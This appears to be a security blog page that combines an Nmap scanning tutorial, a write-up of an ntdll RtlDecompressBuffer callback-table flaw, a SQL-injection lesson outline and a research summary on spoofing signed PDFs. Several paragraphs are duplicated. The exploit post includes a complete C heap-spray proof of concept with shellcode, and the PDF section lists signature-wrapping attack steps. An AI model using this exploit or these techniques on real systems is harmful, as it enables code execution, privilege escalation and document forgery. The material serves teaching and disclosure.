Friday, May 22, 2020
CEH: Identifying Services & Scanning Ports | Gathering Network And Host Information | NMAP
CEH scanning methodology is the important step i.e. scanning for open ports over a network. Port is the technique used to scan for open ports. This methodology performed for the observation of the open and close ports running on the targeted machine. Port scanning gathered a valuable information about the host and the weakness of the system more than ping sweep.
Network Mapping (NMAP)
Basically NMAP stands for Network Mapping. A free open source tool used for scanning ports, service detection, operating system detection and IP address detection of the targeted machine. Moreover, it performs a quick and efficient scanning a large number of machines in a single session to gathered information about ports and system connected to the network. It can be used over UNIX, LINUX and Windows.There are some terminologies which we should understand directly whenever we heard like Open ports, Filtered ports and Unfiltered ports.
Open Ports means the target machine accepts incoming request on that port cause these ports are used to accept packets due to the configuration of TCP and UDP.
Filtered ports means the ports are usually opened but due to firewall or network filtering the nmap doesn't detect the open ports.
Unfiltered means the nmap is unable to determine whether the port is open or filtered while the port is accessible.
Types Of NMAP Scan
| Scan Type | Description |
|---|---|
| Null Scan | This scan is performed by both an ethical hackers and black hat hackers. This scan is used to identify the TCP port whether it is open or closed. Moreover, it only works over UNIX based systems. |
| TCP connect | The attacker makes a full TCP connection to the target system. There's an opportunity to connect the specifically port which you want to connect with. SYN/ACK signal observed for open ports while RST/ACK signal observed for closed ports. |
| ACK scan | Discovering the state of firewall with the help ACK scan whether it is stateful or stateless. This scan is typically used for the detection of filtered ports if ports are filtered. Moreover, it only works over the UNIX based systems. |
| Windows scan | This type of scan is similar to the ACK scan but there is ability to detect an open ports as well filtered ports. |
| SYN stealth scan | This malicious attack is mostly performed by attacker to detect the communication ports without making full connection to the network. This is also known as half-open scanning. |
All NMAP Commands
| Commands | Scan Performed |
|---|---|
| -sT | TCP connect scan |
| -sS | SYN scan |
| -sF | FIN scan |
| -sX | XMAS tree scan |
| -sN | Null scan |
| -sP | Ping scan |
| -sU | UDP scan |
| -sO | Protocol scan |
| -sA | ACK scan |
| -sW | Window scan |
| -sR | RPC scan |
| -sL | List/DNS scan |
| -sI | Idle scan |
| -Po | Don't ping |
| -PT | TCP ping |
| -PS | SYN ping |
| -PI | ICMP ping |
| -PB | ICMP and TCP ping |
| -PB | ICMP timestamp |
| -PM | ICMP netmask |
| -oN | Normal output |
| -oX | XML output |
| -oG | Greppable output |
| -oA | All output |
| -T Paranoid | Serial scan; 300 sec between scans |
| -T Sneaky | Serial scan; 15 sec between scans |
| -T Polite | Serial scan; .4 sec between scans |
| -T Normal | Parallel scan |
| -T Aggressive | Parallel scan, 300 sec timeout, and 1.25 sec/probe |
| -T Insane | Parallel scan, 75 sec timeout, and .3 sec/probe |
How to Scan
You can perform nmap scanning over the windows command prompt followed by the syntax below. For example, If you wanna scan the host with the IP address 192.168.2.1 using a TCP connect scan type, enter this command:nmap 192.168.2.1 –sT
nmap -sT 192.168.2.1
More info
Thursday, May 21, 2020
RtlDecompresBuffer Vulnerability
Introduction
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
let's check the disassembly on Win7 32bits:
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
int RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4
if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}
Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.
let's check the disassembly on Win7 32bits:
- the movzx limits the boundaries to 16bits
- the test ax, ax avoids the algorithm 0
- the cmp ax, 1 avoids the algorithm 1
- the test al, 0F0h limits the boundary .. wait .. al?
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.
Proof of concept
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.
The result on WinXP:
The result on Win7 32bits:
And the exploit code:
/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder
*/
#include
#include
#include
#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9
// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/
// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";
PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits
void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}
PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;
printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);
while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}
//map = HeapAlloc(heap, 0, 1*MB);
printf("Aproximated to [%x - %x]\n", map, map+1*MB);
printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);
return map;
}
void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}
void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));
}
int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;
RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");
heap = GetProcessHeap();
compressed_sz = estimated_uncompressed_sz = 1*KB;
compressed = HeapAlloc(heap, 0, compressed_sz);
uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);
spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");
ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);
switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;
case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;
case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;
case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;
default:
printf("weird decompression state\n");
break;
}
printf("end.\n");
}
The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
Read more
Web Hacking Video Series #4 MySQL Part 2 (Injection And Coding)
Video Lesson Topics:
Part 2 of Mysql covers the topic of injecting a simple SQL injection example. Starts out slow then combines techniques and moves into more advanced topics. Prior to attempting this lesson make sure you have watched the videos in the previous blog or understand both SQL and basic python coding. I will show how to automate the injection process via python utilizing simple HTML processing abilities of beautiful soup. I will cover many python libraries for encoding data and calling web based applications. I also talk about how to deal with encrypted data and methods of enumerating files and folders looking for possible implementation issues and attack points to decrypt sensitive data via PHP/Python interaction with whats available on the server. This is the 2nd part of a 3 part series on MySQL for attacking web applications.
BT5
Recoding PHP applications to fix SQLi
- Setting up your victim application, databases and lab
- Attacking a simple injection with information Schema
- Automating your injections with python and beautiful soup
- Dealing with various web encoding in Python and PHP
- Bypassing LoadFile Size restrictions and automating it
- Decrypting sensitive data via PHP and Python interactions
- As always me rambling about stupid nonsense :P FTW
Part 2 of Mysql covers the topic of injecting a simple SQL injection example. Starts out slow then combines techniques and moves into more advanced topics. Prior to attempting this lesson make sure you have watched the videos in the previous blog or understand both SQL and basic python coding. I will show how to automate the injection process via python utilizing simple HTML processing abilities of beautiful soup. I will cover many python libraries for encoding data and calling web based applications. I also talk about how to deal with encrypted data and methods of enumerating files and folders looking for possible implementation issues and attack points to decrypt sensitive data via PHP/Python interaction with whats available on the server. This is the 2nd part of a 3 part series on MySQL for attacking web applications.
Files Needed:
Lab FilesBT5
Video Lesson:
Whats Next:
PHP source code analysisRecoding PHP applications to fix SQLi
More info
- Live Hacking
- Retos Hacking
- Como Empezar En El Hacking
- Tecnicas De Hacking
- Hacking Net
- Hacking Apps
- Arduino Hacking
- Penetration Testing A Hands-On Introduction To Hacking
- Growth Hacking Barcelona
- Curso De Growth Hacking
- Curso Completo De Hacking Ético
- Tutoriales Hacking
- Python Desde 0 Hasta Hacking - Máster En Hacking Con Python
How To Spoof PDF Signatures
One year ago, we received a contract as a PDF file. It was digitally signed. We looked at the document - ignoring the "certificate is not trusted" warning shown by the viewer - and asked ourselfs:
"How do PDF signatures exactly work?"
We are quite familiar with the security of message formats like XML and JSON. But nobody had an idea, how PDFs really work. So we started our research journey.
Today, we are happy to announce our results. In this blog post, we give an overview how PDF signatures work and on top, we reveal three novel attack classes for spoofing a digitally signed PDF document. We present our evaluation of 22 different PDF viewers and show 21 of them to be vulnerable. We additionally evaluated 8 online validation services and found 6 to be vulnerable.
In cooperation with the BSI-CERT, we contacted all vendors, provided proof-of-concept exploits, and helped them to fix the issues and three generic CVEs for each attack class were issued: CVE-2018-16042, CVE-2018-18688, CVE-2018-18689.
Full results are available in the master thesis of Karsten Meyer zu Selhausen, in our security report, and on our website.
In fact, you may have already used them.
Have you ever opened an Invoice by companies such as Amazon, Sixt, or Decathlon?
These PDFs are digitally signed and protected against modifications.
In fact, PDF signatures are widely deployed in our world. In 2000, President Bill Clinton enacted a federal law facilitating the use of electronic and digital signatures in interstate and foreign commerce by ensuring the validity and legal effect of contracts. He approved the eSign Act by digitally signing it.
Since 2014, organizations delivering public digital services in an EU member state are required to support digitally signed documents, which are even admissible as evidence in legal proceedings.
In Austria, every governmental authority digitally signs any official document [§19]. In addition, any new law is legally valid after its announcement within a digitally signed PDF.
Several countries like Brazil, Canada, the Russian Federation, and Japan also use and accept digitally signed documents.
According to Adobe Sign, the company processed 8 billion electronic and digital signatures in the 2017 alone.
PDF files are ASCII files. You can use a common text editor to open them and read the source code.
As you can see in the figure on the left side, the original document is the same document as the one described above. By signing the document, an incremental saving is applied and the following content is added: a new Catalog, a Signature object, a new Xref table referencing the new object(s), and a new Trailer. The new Catalog extends the old one by adding a reference to the Signature object. The Signature object (5 0 obj) contains information regarding the applied cryptographic algorithms for hashing and signing the document. It additionally includes a Contents parameter containing a hex-encoded PKCS7 blob, which holds the certificates as well as the signature value created with the private key corresponding to the public key stored in the certificate. The ByteRange parameter defines which bytes of the PDF file are used as the hash input for the signature calculation and defines 2 integer tuples:
a, b : Beginning at byte offset a, the following b bytes are used as the first input for the hash calculation. Typically, a 0 is used to indicate that the beginning of the file is used while a b is the byte offset where the PKCS#7 blob begins.
c, d : Typically, byte offset c is the end of the PKCS#7 blob, while c d points to the last byte range of the PDF file and is used as the second input to the hash calculation.
In this blog post, we give an overview on the attacks without going into technical details. If you are more interested, just take a look at the sources we summarized for you here.
The main idea of Universal Signature Forgery (USF) is to manipulate the meta information in the signature in such a way that the targeted viewer application opens the PDF file, finds the signature, but is unable to find all necessary data for its validation.
Instead of treating the missing information as an error, it shows that the contained signature is valid. For example, the attacker can manipulate the Contents or ByteRange values within the Signature object. The manipulation of these entries is reasoned by the fact that we either remove the signature value or the information stating which content is signed.
The attack seems trivial, but even very good implementations like Adobe Reader DC preventing all other attacks were susceptible against USF.
The Incremental Saving Attack (ISA) abuses a legitimate feature of the PDF specification, which allows to update a PDF file by appending the changes. The feature is used, for example, to store PDF annotations, or to add new pages while editing the file.
The main idea of the ISA is to use the same technique for changing elements, such as texts, or whole pages included in the signed PDF file to what the attacker desires.
In other words, an attacker can redefine the document's structure and content using the Body Updates part. The digital signature within the PDF file protects precisely the part of the file defined in the ByteRange. Since the incremental saving appends the Body Updates to the end of the file, it is not part of the defined ByteRange and thus not part of the signature's integrity protection. Summarized, the signature remains valid, while the Body Updates changed the displayed content.
This is not forbidden by the PDF specification, but the signature validation should indicate that the document has been altered after signing.
In PDF files, SWA targets the signature validation logic by relocating the originally signed content to a different position within the document and inserting new content at the allocated position. The starting point for the attack is the manipulation of the ByteRange value allowing to shift the signed content to different loctions within the file.
On a very technical level, the attacker uses a validly signed document (shown on the left side) and proceeds as follows:
Christian Mainka
Karsten Meyer zu Selhausen
Martin Grothe
Jörg Schwenk
We also want to acknowledge the teams which reacted to our report and fixed the vulnerable implementations.
"How do PDF signatures exactly work?"
We are quite familiar with the security of message formats like XML and JSON. But nobody had an idea, how PDFs really work. So we started our research journey.
Today, we are happy to announce our results. In this blog post, we give an overview how PDF signatures work and on top, we reveal three novel attack classes for spoofing a digitally signed PDF document. We present our evaluation of 22 different PDF viewers and show 21 of them to be vulnerable. We additionally evaluated 8 online validation services and found 6 to be vulnerable.
In cooperation with the BSI-CERT, we contacted all vendors, provided proof-of-concept exploits, and helped them to fix the issues and three generic CVEs for each attack class were issued: CVE-2018-16042, CVE-2018-18688, CVE-2018-18689.
Full results are available in the master thesis of Karsten Meyer zu Selhausen, in our security report, and on our website.
Digitally Signed PDFs? Who the Hell uses this?
Maybe you asked yourself, if signed PDFs are important and who uses them.In fact, you may have already used them.
Have you ever opened an Invoice by companies such as Amazon, Sixt, or Decathlon?
These PDFs are digitally signed and protected against modifications.
In fact, PDF signatures are widely deployed in our world. In 2000, President Bill Clinton enacted a federal law facilitating the use of electronic and digital signatures in interstate and foreign commerce by ensuring the validity and legal effect of contracts. He approved the eSign Act by digitally signing it.
Since 2014, organizations delivering public digital services in an EU member state are required to support digitally signed documents, which are even admissible as evidence in legal proceedings.
In Austria, every governmental authority digitally signs any official document [§19]. In addition, any new law is legally valid after its announcement within a digitally signed PDF.
Several countries like Brazil, Canada, the Russian Federation, and Japan also use and accept digitally signed documents.
According to Adobe Sign, the company processed 8 billion electronic and digital signatures in the 2017 alone.
Crash Course: PDF and PDF Signatures
To understand how to spoof PDF Signatures, we unfortunately need to explain the basics first. So here is a breef overview.PDF files are ASCII files. You can use a common text editor to open them and read the source code.
PDF header. The header is the first line within a PDF and defines the interpreter version to be used. The provided example uses version PDF 1.7.
PDF body. The body defines the content of the PDF and contains text blocks, fonts, images, and metadata regarding the file itself. The main building blocks within the body are objects. Each object starts with an object number followed by a generation number. The generation number should be incremented if additional changes are made to the object.
In the given example, the Body contains four objects: Catalog, Pages, Page, and stream. The Catalog object is the root object of the PDF file. It defines the document structure and can additionally declare access permissions. The Catalog refers to a Pages object which defines the number of the pages and a reference to each Page object (e.g., text columns). The Page object contains information how to build a single page. In the given example, it only contains a single string object "Hello World!".
Xref table. The Xref table contains information about the position (byte offset) of all PDF objects within the file.
Trailer. After a PDF file is read into memory, it is processed from the end to the beginning. By this means, the Trailer is the first processed content of a PDF file. It contains references to the Catalog and the Xref table.
How do PDF Signatures work?
PDF Signatures rely on a feature of the PDF specification called incremental saving (also known as incremental update), allowing the modification of a PDF file without changing the previous content.
a, b : Beginning at byte offset a, the following b bytes are used as the first input for the hash calculation. Typically, a 0 is used to indicate that the beginning of the file is used while a b is the byte offset where the PKCS#7 blob begins.
c, d : Typically, byte offset c is the end of the PKCS#7 blob, while c d points to the last byte range of the PDF file and is used as the second input to the hash calculation.
Attacks
During our research, we discovered three novel attack classes on PDF signatures:- Universal Signature Forgery (USF)
- Incremental Saving Attack (ISA)
- Signature Wrapping Attack (SWA)
In this blog post, we give an overview on the attacks without going into technical details. If you are more interested, just take a look at the sources we summarized for you here.
Universal Signature Forgery (USF)
Instead of treating the missing information as an error, it shows that the contained signature is valid. For example, the attacker can manipulate the Contents or ByteRange values within the Signature object. The manipulation of these entries is reasoned by the fact that we either remove the signature value or the information stating which content is signed.
The attack seems trivial, but even very good implementations like Adobe Reader DC preventing all other attacks were susceptible against USF.
Incremental Saving Attack (ISA)
The Incremental Saving Attack (ISA) abuses a legitimate feature of the PDF specification, which allows to update a PDF file by appending the changes. The feature is used, for example, to store PDF annotations, or to add new pages while editing the file.
The main idea of the ISA is to use the same technique for changing elements, such as texts, or whole pages included in the signed PDF file to what the attacker desires.
In other words, an attacker can redefine the document's structure and content using the Body Updates part. The digital signature within the PDF file protects precisely the part of the file defined in the ByteRange. Since the incremental saving appends the Body Updates to the end of the file, it is not part of the defined ByteRange and thus not part of the signature's integrity protection. Summarized, the signature remains valid, while the Body Updates changed the displayed content.
This is not forbidden by the PDF specification, but the signature validation should indicate that the document has been altered after signing.
Signature Wrapping Attack (SWA)
Independently of the PDFs, the main idea behind Signature Wrapping Attacks is to force the verification logic to process different data than the application logic.In PDF files, SWA targets the signature validation logic by relocating the originally signed content to a different position within the document and inserting new content at the allocated position. The starting point for the attack is the manipulation of the ByteRange value allowing to shift the signed content to different loctions within the file.
On a very technical level, the attacker uses a validly signed document (shown on the left side) and proceeds as follows:
- Step 1 (optional): The attacker deletes the padded zero Bytes within the Contents parameter to increase the available space for injecting manipulated objects.
- Step 2: The attacker defines a new /ByteRange [a b c* d] by manipulating the c value, which now points to the second signed part placed on a different position within the document.
- Step 3: The attacker creates a new Xref table pointing to the new objects. It is essential that the byte offset of the newly inserted Xref table has the same byte offset as the previous Xref table. The position is not changeable since it is refer- enced by the signed Trailer. For this purpose, the attacker can add a padding block (e.g., using whitespaces) before the new Xref table to fill the unused space.
- Step 4: The attacker injects malicious objects which are not protected by the signature. There are different injection points for these objects. They can be placed before or after the malicious Xref table. If Step 1 is not executed, it is only possible to place them after the malicious Xref table.
- Step 5 (optional): Some PDF viewers need a Trailer after the manipulated Xref table, otherwise they cannot open the PDF file or detect the manipulation and display a warning message. Copying the last Trailer is sufficient to bypass this limitation.
- Step 6: The attacker moves the signed content defined by c and d at byte offset c*. Optionally, the moved content can be encapsulated within a stream object. Noteworthy is the fact that the manipulated PDF file does not end with %%EOF after the endstream. The reason why some validators throw a warning that the file was manipulated after signing is because of an %%EOF after the signed one. To bypass this requirement, the PDF file is not correctly closed. However, it will be still processed by any viewer.
Evaluation
In our evaluation, we searched for desktop applications validating digitally signed PDF files. We analyzed the security of their signature validation process against our 3 attack classes. The 22 applications fulfill these requirements. We evaluated the latest versions of the applications on all supported platforms (Windows, MacOS, and Linux). Authors of this Post
Vladislav MladenovChristian Mainka
Karsten Meyer zu Selhausen
Martin Grothe
Jörg Schwenk
Acknowledgements
Many thanks to the CERT-Bund team for the great support during the responsible disclosure.We also want to acknowledge the teams which reacted to our report and fixed the vulnerable implementations.
Read more
Subscribe to:
Posts (Atom)
